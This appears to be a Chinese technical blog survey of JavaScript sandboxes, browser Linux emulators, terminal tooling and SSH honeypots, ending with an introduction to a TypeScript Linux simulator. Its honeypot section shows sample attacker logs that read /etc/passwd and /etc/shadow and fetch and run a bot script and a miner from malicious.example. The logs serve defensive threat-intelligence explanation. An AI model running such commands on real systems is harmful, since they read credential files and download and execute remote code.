根本问题在于架构----这也是整个生态系统花了很长时间才吸取的教训。你不能用你正在沙箱化的同一种语言、在同一个引擎上、在同一个进程内构建一个安全的沙箱。逃逸面是整个 V8 实现----而 V8 是数百万行持续变化的 C++。每个新的 JS 特性都可能打开一条新的攻击路径。

结论:不要用于安全敏感的应用。即使在最新版本上,每几个月就会发现新的绕过方式。维护者本人也公开承认了这一点。


1.3 isolated-vm ---- 真正有效的那一个

isolated-vm 采用了正确的方法:使用 V8 自身的隔离原语----Isolate。每个 V8 Isolate 有自己的堆、自己的垃圾回收器、自己的一组内置对象,并且与其他 Isolate 零共享引用。

这与 Chrome 在标签页之间使用的边界相同。它是真正的安全边界,而不是基于 Proxy 的语言级技巧。

import ivm from "isolated-vm";

// 每个 isolate 是自己的 V8 堆
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // MB 上限
const context = await isolate.createContext();
const jail = context.global;

// 跨边界传递数据需要显式序列化
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // 无法访问宿主进程、宿主堆或宿主模块
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// 可以在超时或达到内存限制时强制终止
isolate.dispose(); // 释放整个堆

Reference 和 ExternalCopy 类型是显式的通信桥梁。Reference 给 isolate 一个宿主函数的可调用句柄----isolate 可以调用它但无法检查其闭包或原型。ExternalCopy 将值序列化(结构化克隆)穿过堆边界。这种显式桥梁模式不方便,但这正是隔离真实的原因。

你可以设置硬性资源限制:内存(isolate 超出上限会被终止)、挂墙时钟超时和 CPU 超时。终止是真实的----它杀死整个 V8 Isolate,而不仅仅是一个可能被 while(true) 绕过的 JS 超时。

局限性:仅限于 JS。你不能在里面运行 bash。没有文件、权限、网络或进程的概念。对于用户提交的 JS(插件、公式、脚本钩子)来说,这是正确的工具,对其他所有事情都是错误的工具。typescript-virtual-container 的作者提到她早期考虑过它,后来才意识到"运行 Shell 命令"和"隔离 JavaScript"是根本不同的问题。

内存:每个空 Isolate ~3–10 MB,随堆使用增长。 安全性:强。V8 Isolate 边界是真正的隔离原语。 npm:isolated-vm GitHub:laverdet/isolated-vm


1.4 quickjs-emscripten ---- 编译到 Wasm 的独立 JS 引擎

一种不同的方法:不依赖 V8 内部隔离,而是在完全独立的 JavaScript 引擎中运行,该引擎编译为 WebAssembly。宿主演 V8/Node。访客运行在 QuickJS 内部(QuickJS 在 Wasm 内部)。Wasm 沙箱提供隔离边界。

QuickJS 又是 Fabrice Bellard 的作品(就是那个做了 QEMU、FFmpeg、JSLinux、TinyEMU 的人----这家伙真的不是真人,一个人怎么可能做这么多事情)。它是一个小型、符合规范的 ES2023 JS 引擎,用 C 编写,编译为 Wasm 后只有约 500 KB。

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // 在 QuickJS 中运行,完全独立于 V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS 是一个符合规范的小型 ES2023 JavaScript 引擎,用 C 编写。编译为 Wasm 后,同步变体约 500 KB,异步(Asyncify)变体约 1 MB。内存管理是手动的----从 VM 中提取的每个值都需要显式释放,这有点烦人,但避免了跨边界 GC 意外。有趣的权衡!

@sebastianwessel/quickjs 包装器在之上添加了更友好的 API,带有可选的虚拟文件系统、fetch 支持和 Node.js 模块存根:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

安全模型与 isolated-vm 不同:Wasm 的线性内存模型意味着访客无法直接访问 V8 堆对象。攻击面是宿主↔Wasm 接口(导入/导出),而不是整个 JS 语言。这通常被认为比基于 Proxy 的沙箱更稳健。

缺点是:QuickJS 没有 V8 那样的优化水平。对于 CPU 密集型的 JS 工作负载,它比 V8 慢 5–20 倍。对于短代码片段和不可信的 eval,这通常不是问题。

内存:每个实例约 500 KB Wasm 模块 + 堆。 安全性:Wasm 边界,被认为比基于 Proxy 的方法更强。 npm:quickjs-emscripten、@sebastianwessel/quickjs GitHub:justjake/quickjs-emscripten


1.5 Deno ---- 权限优先的运行时

Deno 采取了完全不同的理念:不在 Node 内部做沙箱,而是构建一个默认安全的全新运行时。我真的很喜欢这个思路----说实话,Node.js 从一开始就应该这样。Ryan Dahl(原 Node.js 创建者)做 Deno 的原因之一就是后悔 Node.js 的一些设计决定,想想还挺疯狂的。

每个敏感能力(文件读、文件写、网络、环境变量、子进程)都需要显式的 --allow-* 标志:

# 只能从 /data 读取,其他什么都不能做
deno run --allow-read=/data script.ts

# 只能获取一个域名
deno run --allow-net=api.example.com script.ts

# 没有标志 = 没有任何权限
deno run untrusted.ts # 不能读、写、联网、派生进程

权限模型在 Rust/OS 级别实现----它不是 JS 技巧。当 Deno 代码调用 Deno.readFile() 时,它会经过一个 Rust 操作,在接触文件系统之前检查权限表。你无法从 JS 绕过它,因为如果没有被授予权限,系统调用根本不会发生。

对于运行真正不可信的代码,Deno Workers(Web Workers)在同一进程中提供了第二个 isolate,每个都有自己的一套权限。你可以生成一个零权限的 worker,并通过 postMessage 与之通信。

Deno 2(2024 年 10 月发布)增加了完整的 npm 兼容性和 Node.js 兼容性填充,显著提高了其在服务端用例中的采用率。

权衡:Deno 的安全模型非常适合你可能部分信任的代码。对于可能是敌对性的完全不可信代码,权限模型帮不了你----你需要一个 Isolate 边界(isolated-vm)或不同的引擎(quickjs-emscripten),因为 Deno 仍然运行 V8,老练的攻击者可以找到 V8 级别的漏洞。


1.6 TC39 ShadowRealm ---- 标准答案(终有一天)

JavaScript 标准机构(TC39)有一个名为 ShadowRealm 的提案,试图标准化 vm 和 vm2 试图做的事情,但采用正确的安全模型。ShadowRealm 创建一个隔离的 JS 执行上下文,拥有自己的一套内置对象,无法访问外部域,并通过一个精心控制的导入/导出接口进行通信。

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // 独立的内置对象,无法访问外部域
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm 已在浏览器中可用(Chrome 90+、Firefox 105+),但截至 2026 年尚未在 Node.js 稳定版中实现。TC39 Compartments 提案在此基础上构建,用于模块级隔离。这些是长期的标准化答案,但在服务端 Node 用例中尚未达到生产就绪状态。就像那些你早就知道要来,但就是……还没来的东西。典型的 TC39 xD


沙箱家族总结

vm vm2 isolated-vm quickjs-emscripten Deno Workers
隔离边界 无(仅限作用域) Proxy(已被攻破) V8 Isolate Wasm V8 Isolate + Rust 权限
内存上限 ❌ ❌ ✅ 硬限制 ✅ Wasm 堆 部分
CPU 超时 ❌ ✅(可绕过) ✅ 硬限制 ✅ ✅
安全性 无 已攻破 强 强 强
JS 速度 原生 V8 原生 V8 原生 V8 ~慢 10 倍 原生 V8
浏览器 ❌ ❌ ❌ ✅ ❌
Node 兼容 原生 ✅ ✅ 部分填充 部分
状态 稳定 危险(新 CVE) ✅ 活跃 ✅ 活跃 ✅ 活跃
RAM 开销 ~1 MB ~5–20 MB ~3–10 MB ~5–15 MB ~10–30 MB

要点:如果你关心安全性,只有两个真正的选择----isolated-vm(原生插件、V8 Isolate、全速 JS)和 quickjs-emscripten(Wasm、浏览器兼容、计算密集型代码慢约 10 倍)。其他要么是"求你了别用"(vm、vm2),要么是一个解决完全不同问题的运行时(Deno)。ShadowRealm 最终可能会改变这个格局,但现在还没到。


第 2 部分----JavaScript 中的 Linux 仿真器

这才是真正让我感兴趣的地方。这些是真正的仿真器----它们在 JavaScript 或 WebAssembly 中实现 CPU 指令集、启动真正的 Linux 内核镜像、运行真正的用户态二进制文件。隔离来自于访客和宿主不共享任何东西:不同的内存空间、不同的指令流。

你付出的代价是巨大的,但你得到的东西着实令人惊叹:真正的 Linux,真正在运行,在你的浏览器或 Node.js 进程中。想想就觉得挺疯狂的,对吧?

2.1 v86 ---- JS + Wasm JIT 中的 x86 PC 仿真器

Fabrice(GitHub 用户名 copy)的 v86 是 JavaScript 中功能最强大的开源 x86 仿真器。它始于 2013 年左右的纯 JS 解释器,后来演变为一个 JIT 编译系统----x86 基本块被动态翻译为 WebAssembly,大幅提升了性能。

它仿真了以下内容:

  • CPU:x86-32(IA-32),指令集大致相当于 Pentium 1 级别。不支持 64 位(x86-64)----这是硬架构限制,不是缺少功能。
  • FPU:通过 JavaScript 的 Float64Array 实现。x87 是 80 位扩展精度;JS 双精度浮点是 64 位。这意味着浮点结果可能与真实 CPU 略有不同。
  • 内存:可配置,映射到 JS 堆中的 SharedArrayBuffer 或 ArrayBuffer。
  • 硬件:8254 PIT(定时器)、8259 PIC(中断控制器)、8042 键盘控制器(PS/2)、CMOS RTC、带 SVGA 扩展和 Bochs VBE 的 VGA、IDE 控制器、软盘控制器(8272A)、NE2000 网卡。
  • BIOS:使用 SeaBIOS(开源 x86 BIOS)。

JIT 的工作原理是识别基本块(没有跳转的 x86 指令序列),将其翻译为 WebAssembly 函数,缓存该函数,并在同一块后续执行时调用。热代码路径获得原生 Wasm 性能。冷路径回退到 JS 解释器。

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// 捕获串口输出(Linux 内核控制台)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// 向访客发送输入(在 Shell 中打字)
emulator.serial0_send("ls /\n");

支持的操作系统:Alpine Linux(极佳)、Ubuntu 16.04/18.04(仅 i386)、Arch Linux 32、ReactOS、FreeDOS、Windows 9x/2000(有局限)、MS-DOS。

启动时间:从干净镜像启动 Alpine Linux 需要 15–40 秒。这是内核初始化的固有开销----你无法跳过。是的,你的用户会坐在那里看着内核启动序列在浏览器中滚动。这就是代价 xD

内存下限:每个实例 100–256 MB。仅 Wasm JIT 代码缓存就可以在繁忙的 Linux 实例中达到几十 MB。

Node.js 使用:完全支持。不需要 DOM----如果你只关心串口,可以丢弃 VGA 输出。

你不能做的事情:运行 64 位二进制文件、使用现代内核特性(eBPF、io_uring 等)、或同时运行多个实例而不触及内存限制。

npm:v86----持续更新,到本文写作时最新版本就在昨天。 GitHub:copy/v86 演示:copy.sh/v86


2.2 JSLinux 和 TinyEMU ---- Bellard 的作品,两次

JSLinux 是 Fabrice Bellard 自己的 JavaScript Linux 仿真器----史上第一个,发布于 2011 年。我在这篇文章中反复提到 Bellard,就因为他一直在出现:QuickJS、TinyEMU、JSLinux、QEMU、FFmpeg。这个男人非同一般。毫不夸张地说,他是软件史上个人技术贡献最令人印象深刻的人物之一。

最初的 JSLinux 是一个纯 JS x86 解释器。2016 年,Bellard 编写了 TinyEMU(一个 RISC-V 仿真器,用 C 语言),通过 Emscripten 编译为 JavaScript,这就成了当前 JSLinux 的基础。所以现在的 JSLinux 实际上是生成 JavaScript 的 C 代码----根本不是手工编写的 JS。

Bellard 网站上的技术说明值得一读:现在的 JSLinux 运行一个 32 或 64 位的 RISC-V CPU(不是 x86),仿真 VirtIO 控制台、VirtIO 网络、VirtIO 块设备和一个用于与主机共享文件的 9P 文件系统。JS 演示使用 Emscripten 从 C 编译----不是手工编写的 JS。

TinyEMU 本身支持:

  • RISC-V RV32IMAFDQC 和 RV64IMAFDQC(32 位和 64 位,带浮点、乘法和压缩指令)
  • 通过 KVM 支持 x86(仅原生模式,无仿真----所以 JS 版本仅支持 RISC-V)
  • VirtIO 控制台、网络、块设备、输入、9P 文件系统

TinyEMU 通过 Emscripten 提供了一个 JavaScript 演示。它是 JSLinux 的基础,也被 container2wasm 使用(见第 2.5 节)。

JSLinux 状态:没有 npm 包,没有可编程 API。它是在浏览器中打开的演示。历史意义重大----它证明了概念的可行性。作为库的实际用途:无。

TinyEMU:不在 npm 上,C 源码在 bellard.org/tinyemu。


2.3 jor1k ---- OR1K 仿真器

jor1k 是 Sebastian Macke 用 JavaScript 编写的 OpenRISC 1000(OR1K)仿真器。它在历史上意义重大,因为 jor1k 引入了 VirtIO 9P 文件系统支持,Bellard 后来将其整合到 TinyEMU 和 JSLinux 中。这些项目之间的交叉授粉非常紧密----它们互相借鉴,说实话,这是开源仿真工作最酷的地方之一。

状态:不再积极维护,没有 npm 包。目前已经归档。主要值得从历史角度了解一下----如果有人提起 jor1k,现在你知道它是什么了 :)


2.4 CheerpX ---- 面向浏览器的商业 x86 仿真器

Leaning Technologies 的 CheerpX 是商业级、面向生产环境的 x86 Linux 仿真器。它不是开源的,但在运行真实的 Debian/Ubuntu 用户态方面比 v86 强大得多。如果你需要在浏览器中运行真正的 VSCode,这就是你要用的。

与 v86 的主要区别:

  • 支持更广泛的 ISA(更多 x86 扩展、更好的 glibc 兼容性)
  • 浏览器的基于 IndexedDB 的文件系统(页面刷新后持久化)
  • 通过 SharedArrayBuffer 支持 pthread(需要 COOP/COEP 头----就是那些烦人的安全头)
  • 设计用于运行 VSCode、Python、Node.js 和其他真实应用,而不仅仅是最小化 OS 镜像
  • 提供专业支持和 SLA(说白了就是出问题了你可以找他们)

典型用例是"在浏览器中运行真正的 Linux 应用,无需服务器"。公司用它来构建基于浏览器的 IDE、编程教程和交互式文档。

// CheerpX API(简化版)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Node.js 的故事:CheerpX 以浏览器为先。底层仿真器理论上可能在 Node 中工作(它是 Wasm),但 API 和文档完全面向浏览器使用。服务端使用不受支持。

内存:与 v86 类似----真实 Debian 实例需要 200+ MB。 定价:开源项目免费,生产 SaaS 需要商业许可。 文档:cheerpx.io/docs/overview


2.5 WebContainers(StackBlitz)---- Wasm 中的 Node.js,而非 Linux 仿真

WebContainers 经常被归入 Linux 仿真器,但架构完全不同。它们不仿真 x86。它们不启动 Linux。它们运行使用 WASI 编译为 WebAssembly 的 Node.js。这个区别非常重要,我自己也困惑了很久,哈哈。

我觉得混淆来自营销措辞----"在浏览器中运行 Node.js"听起来像是在仿真,但实际上它是 Node.js 本身编译为 Wasm,而不是在虚拟机内运行 Node.js 的 Linux 仿真。完全不同的事情。

架构是:

  1. Node.js 编译为 Wasm(具体来说是自定义 WASI 运行时)
  2. Service Worker 拦截来自仿真的 Node.js 服务器的网络请求,并将其路由到浏览器标签页
  3. 文件系统存在于浏览器内存中(无磁盘 I/O)
  4. npm 是针对浏览器内使用优化的自定义实现
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// 写文件
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// 运行 Node.js 命令
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

因为它运行真正的 Node.js(Wasm 编译版),你有真正的 npm、真正的 Node.js API 和真正的模块解析。但你得不到通用的 Linux 用户态----你不能用 apt 安装系统包、运行任意编译的二进制文件,或者在 Node.js 生态系统之外做很多事情。

浏览器要求:SharedArrayBuffer(需要 COOP/COEP 头)、Service Worker 支持、现代 Wasm。

Node.js 的故事:专为浏览器使用设计。API 在浏览器上下文之外无法工作。

npm:@webcontainer/api 文档:webcontainers.io


2.6 container2wasm ---- 编译到 Wasm 的 Docker 容器

container2wasm 是 NTT 的一个工具(不是 npm 包),它接受一个 Docker 容器镜像并将其转换为一个 WebAssembly 二进制文件,可以在任何 Wasm 宿主中运行----包括浏览器。我第一次看到的时候真的不敢相信它能工作。

机制:

  • 对于 x86_64 容器:嵌入 Bochs(一个 x86 仿真器,编译为 Wasm)+ 容器的根文件系统
  • 对于 riscv64 容器:嵌入 TinyEMU(又是 Bellard!)+ 容器的根文件系统
  • 生成的 .wasm 文件启动仿真器、挂载容器文件系统并运行容器的入口点
# 将 Ubuntu 22.04 容器转换为 Wasm
c2w ubuntu:22.04 out.wasm

# 运行它
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# 或者为浏览器使用提供 HTTP 服务
c2w --to-js ubuntu:22.04 /tmp/htdocs/

生成的 .wasm 很大----最小化的 Ubuntu 也有几百 MB----但它是完全自包含的。你可以通过邮件发给别人一个 .wasm 文件,他们就能在浏览器中运行 Ubuntu。这句话理论上说不通,但事实就是如此。

GitHub:container2wasm/container2wasm


仿真器家族总结

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
架构 x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86(专有) Node.js→Wasm/WASI x86/RISC-V (Wasm)
真实内核 ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64 位 ❌ ✅ (RISC-V) ❌ ✅ 不适用 ✅
npm 包 ✅ ❌ ❌ CDN/API ✅ ❌(CLI 工具)
Node.js 使用 ✅ ❌ ❌ ❌ ❌(仅浏览器) 通过 Wasmtime
浏览器使用 ✅ ✅ ✅ ✅ ✅ ✅
每实例 RAM 150–256 MB ~64–128 MB ~64 MB 200+ MB ~100 MB ~200–500 MB
启动时间 15–40 秒 10–30 秒 10–30 秒 15–40 秒 2–5 秒 10–40 秒
开源 ✅ ✅ ✅ ❌ 部分 ✅
状态 ✅ 非常活跃 ✅ 稳定 ⚠️ 已归档 ✅ 商业产品 ✅ 活跃 ✅ 活跃

从表中可以看出:v86 是唯一同时具备 npm 包、可在浏览器和 Node 中运行且开源的方案。这就是为什么它在"JavaScript Linux 仿真器"的讨论中占据主导地位。其他所有方案都有各自的短板----JSLinux 没有 API、jor1k 已归档、CheerpX 要花钱、WebContainers 仅限浏览器且绑定 Node.js、container2wasm 需要构建步骤和 CLI。如果你只是需要"在 JavaScript 中启动 Linux",v86 几乎总是正确的起点。


第 3 部分----终端栈:xterm.js 和 node-pty

有两个包在人们构建类似 Shell 的体验时频繁出现。它们不是沙箱或仿真器----它们是 UI 和 PTY 管道----但它们关系如此密切,不提到它们我会过意不去。而且我都用过,它们真的很棒。

3.1 xterm.js ---- 终端渲染器

xterm.js 是一个面向浏览器的终端仿真器。它在 <canvas> 元素中渲染终端屏幕(VT100/xterm 转义序列),处理键盘输入,并暴露出一个用于管道输入输出的 API。

使用者:VS Code 的内置终端、Azure Cloud Shell、Proxmox VE、AWS CloudShell 等。

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// 发送数据到终端(渲染为文字)
term.write("$ ");
term.onData(data => {
  // data 是按键输入----发送到你的后端
  socket.send(data);
});
socket.onmessage(msg => {
  // 来自后端的输出----显示出来
  term.write(msg.data);
});

xterm.js 仅仅是渲染层。它不运行 Shell。它不解释命令。它是一个显示组件,让你连接到任何你想要的后端。很多人以为 xterm.js "就是终端",但它真的只是屏幕----你仍然需要把它连接到实际运行命令的东西上。

npm:@xterm/xterm GitHub:xtermjs/xterm.js


3.2 node-pty ---- PTY 生成

node-pty 在 Node.js 中生成一个伪终端(PTY),并给你一个读/写句柄。与 xterm.js 配合使用,你可以构建一个与服务器上真实 Shell(bash、zsh、fish)对话的浏览器终端。

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // 通过 WebSocket 发送到浏览器的 xterm.js
  ws.send(data);
});

ws.on("message", data => {
  // 将浏览器按键输入转发给 Shell
  shell.write(data);
});

这是云 IDE 和 Web 终端的标准模式:xterm.js(浏览器)↔ WebSocket ↔ node-pty ↔ 真实 bash。无隔离。Shell 以 Node.js 进程的完整权限运行(或者说运行它的任何用户的权限)。

维护者:微软。 npm:node-pty GitHub:microsoft/node-pty


第 4 部分----SSH 蜜罐

蜜罐的设计初衷就是被攻击。目标是看起来足够逼真,让攻击者与之交互,同时记录他们所做的一切用于威胁情报。SSH 是主要目标,因为它是互联网上受攻击最多的服务----如果你在公共 IP 上暴露端口 22,几分钟内就会看到自动扫描尝试。你可以试试看,速度之快令人震惊。

蜜罐的质量由两个指标衡量:保真度(它冒充真实系统的可信度)和遥测(它捕获的有用数据量)。这两者是矛盾的。高保真度的蜜罐更难构建,运维风险也更高。

正是这一节最终引导我构建了 typescript-virtual-container 中的 HoneyPot 模块,所以对此我有一些观点。

4.1 Cowrie ---- 黄金标准

Cowrie 是一个基于 Python 的中等到高交互度的 SSH 和 Telnet 蜜罐。它是研究和安全社区中部署最广泛的 SSH 蜜罐。

架构:

  • 协议层:真实的 SSH 协议实现(Twisted Conch),所以攻击者获得真实的握手、真实的密钥交换、真实的认证
  • Shell 层:一个伪造的文件系统(模拟 Debian 5.0)和一个对常见命令做出响应的部分 Shell 解释器
  • 代理模式:可以转发到后方的真实系统(高交互模式),记录流经的一切
  • LLM 模式(最新添加):使用语言模型对未知命令生成动态响应----是的,Cowrie 现在有了 AI 模式。疯狂的时代。
# Cowrie 捕获的内容
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie 保存下载的文件(通过 wget/curl/SFTP/SCP)用于恶意软件分析。它与 Splunk、Elasticsearch 及其他 SIEM 平台集成。

保真度:中高。足以骗过自动化的机器人(这是 99% 的 SSH 攻击者----大部分只是尝试 root/password 的傻瓜脚本)。但有经验的人类可以识别它,通常很快就能识破。

语言:Python(Twisted) GitHub:cowrie/cowrie


4.2 Kippo ---- Cowrie 的前身

Kippo 是原始的中等交互度 SSH 蜜罐,Cowrie 就是基于它开发的。基本思路相同:真实的 SSH 协议、伪造的文件系统、部分 Shell。Cowrie 已经完全取代了它----Kippo 已经归档,2026 年没人应该再运行它了。这里提到它纯粹是为了历史的完整性,因为你可能在旧的博客文章和安全论文中看到它的引用。

GitHub:desaster/kippo ---- 已归档


4.3 endlessh ---- SSH 拖拽陷阱

endlessh 是一个退化型的蜜罐:它以每秒 1 字节(或更慢)的速度缓慢发送 banner 数据来保持 SSH 连接开放。连接到它的 SSH 客户端将无限期挂起----因为服务器从未完成发送 banner,所以永远无法进入认证阶段。

目标不是威胁情报,而是纯粹的资源消耗:占用攻击者扫描器的线程,让他们无法快速攻击真正的目标。说实话,这是一种近乎恶意的、但极其巧妙的方式。你不是从攻击者那里获取任何信息----你只是在浪费他们的时间。这当中蕴含着深深的满足感。

// endlessh 的整个协议行为:
// 发送:"SSH-2.0-OpenSSH_" 然后慢慢追加随机字符
// 从不关闭连接
// 攻击者扫描器在 N 秒后超时

不捕获命令。不测试认证。只是消耗连接时间。

编程语言:C GitHub:skeeto/endlessh


4.4 sshesame ---- "放所有人进来"的蜜罐

sshesame 接受所有 SSH 连接(任何用户名、任何密码、任何密钥)并记录一切。它是一个零交互蜜罐:不响应命令,只是让攻击者"进来"并记录他们输入的每个按键。

2024-01-15 03:22:11 Connection from 45.33.32.156
  Username: root, Password: password123 -- accepted
  Commands typed:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Disconnected after 47s

对于凭据收集很有用:你可以快速积累机器人尝试的用户名和密码,从而了解当前哪些默认凭据正在被暴力破解。剧透警告:永远是 root/password、admin/admin 和 root/123456。每次都是。

GitHub:jaksi/sshesame


4.5 Lyrebird ---- 基于 Docker 的蜜罐框架

lyrebird/honeypot-base 是一个用于构建网络服务蜜罐的 Docker 基础镜像。它不专门针对 SSH----它是一个构建任何协议蜜罐的框架。

基础镜像提供了日志框架、协议插件系统和用于多服务蜜罐的 Docker Compose 配置。

Docker Hub:lyrebird/honeypot-base


4.6 在 Node.js 中构建 SSH 蜜罐 ---- 朴素方法及其失败原因

在 typescript-virtual-container 之前,在 Node.js 中构建 SSH 蜜罐意味着将真正的 ssh2 库与手动命令伪造结合起来。非常繁琐、非常不完整,但……这几乎是一种成人仪式了:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // 记录尝试
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // 放所有人进来
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // 伪造响应
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

这种方法在"捕获凭据和命令"的意义上是"可行的"。但一旦遇到老练的攻击者,它显然是假的。uname -a 返回正确的字符串,但 ls /etc 返回"command not found"----立刻就暴露了。文件系统不存在。命令不能链式执行。管道不能用。变量不会展开。

一个熟练的攻击者在头五个命令内就能识别出你的蜜罐。检查类似 Cowrie 行为的自动化脚本也会立刻检测到它。这显然就是推动 typescript-virtual-container 作者去构建一个真正解释命令的东西的原因----更多内容在第 5 部分。


蜜罐家族总结

Cowrie Kippo endlessh sshesame Lyrebird 朴素 ssh2
交互度 中高 中 零 零 视情况 低
真实 SSH 协议 ✅ ✅ ❌ (拖拽) ✅ 视情况 ✅
Shell 保真度 中 中 不适用 无 视情况 最低
捕获凭据 ✅ ✅ ❌ ✅ ✅ ✅
捕获命令 ✅ ✅ ❌ ✅ 视情况 ✅
捕获恶意软件 ✅ ✅ ❌ ❌ ❌ ❌
SIEM 集成 ✅ 原生 ❌ ❌ ❌ ❌ 手动
LLM 响应 ✅(新) ❌ ❌ ❌ ❌ ❌
语言 Python Python C Go Docker Node.js
Node.js 原生 ❌ ❌ ❌ ❌ ❌ ✅
状态 ✅ 非常活跃 ⚠️ 已归档 ✅ 活跃 ✅ 活跃 ✅ 活跃 自行 DIY

这里的模式很清楚:你想要越高的保真度,就需要写越多的 Python。如果你认真做这件事,Cowrie 是明确的赢家----它经过多年的实战检验,捕获的远不止凭据。endlessh 和 sshesame 更像是好玩的小项目,而不是严肃的威胁情报工具。而朴素的 Node.js 方法只能走 20%,然后就会撞到天花板。


第 5 部分 ---- typescript-virtual-container:填补了什么空白

好了,到这里事情变得有趣了。在整理了以上所有家族之后,缺失的象限变得相当明显:

  • JS 沙箱:隔离代码,没有 Shell,没有文件系统,没有 SSH
  • Linux 仿真器:真实操作系统,真实 Shell,真实 SSH……但 150+ MB RAM、30 秒启动、需要你在串行 I/O 之上构建自己的 API
  • 蜜罐:伪造的 Shell,没有可编程 API,Python/Go/C,不是 Node 原生

没有人构建过一个完整的、可编程的、Node 原生的 Linux 环境----带有真实 SSH、真实权限、真实的虚拟网络和类型化的 TypeScript API。所以她构建了它。

快速介绍一下,因为这是我第一次正式提到她:typescript-virtual-container 由 Chloé Rolzhausen 构建,她是一位法国开发者,网上使用 Fortune(或 ItsRealFortune)的名字。你可以在她的网站和 LinkedIn 上找到她。整个项目----56k 行 TypeScript、247 个文件、170 个命令----是一个人独立完成的。在本文接下来的部分我会称她为 Fortune。是的,这挺疯狂的。去看看她的作品吧!

它实际上是什么

typescript-virtual-container 是一个纯 TypeScript 编写的 Linux 环境模拟器。没有 Wasm。没有原生插件。没有内核。约 56,000 行源码,分布在 247 个 TypeScript 文件中。

关键洞察:你不需要 CPU 仿真器来让 ls /etc | grep passwd 工作。你需要的是:

  1. 一个响应路径操作的内存节点树
  2. 每次访问都强制执行的 POSIX 权限模型
  3. 一个理解管道、重定向、子 Shell 和变量展开的 Shell 解析器
  4. 约 170 个命令实现(函数,不是二进制文件)
  5. 一套用户和组管理系统
  6. 通过 SSH 暴露所有这些的东西

所有这一切都可以在纯 TypeScript 中实现,无需内核参与。

VirtualFileSystem

VFS 是一个类型化节点的内存树----除非你显式启用 "fs" 持久化模式,否则没有磁盘 I/O:

// 简化的内部表示
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // 惰性加载占位符

每个路径操作都会经过 normalizePath(解析 .、..、符号链接)和 enforceAccess(根据请求的 uid/gid 检查读/写/执行权限)。chmod、chown、粘滞位和 setuid 都已实现并实际强制执行。如果以 uid 1000 运行的进程试图读取 root 所有、模式 0600 的文件,它会得到 EACCES----不是假的 EACCES,而是权限检查抛出的真正 JavaScript Error。这部分做得相当优雅。

VFS 可以序列化为:

  • .vfsb ---- 紧凑的二进制格式(自定义,使用 fflate 压缩)---- 这是默认格式
  • JSON 快照 ---- 人类可读,适合调试
  • TAR 归档 ---- 使用真实 tar 格式的导入/导出,所以你可以 tar -xf 某些东西,VFS 就……有了那些文件
  • SquashFS 镜像 ---- 只读导入

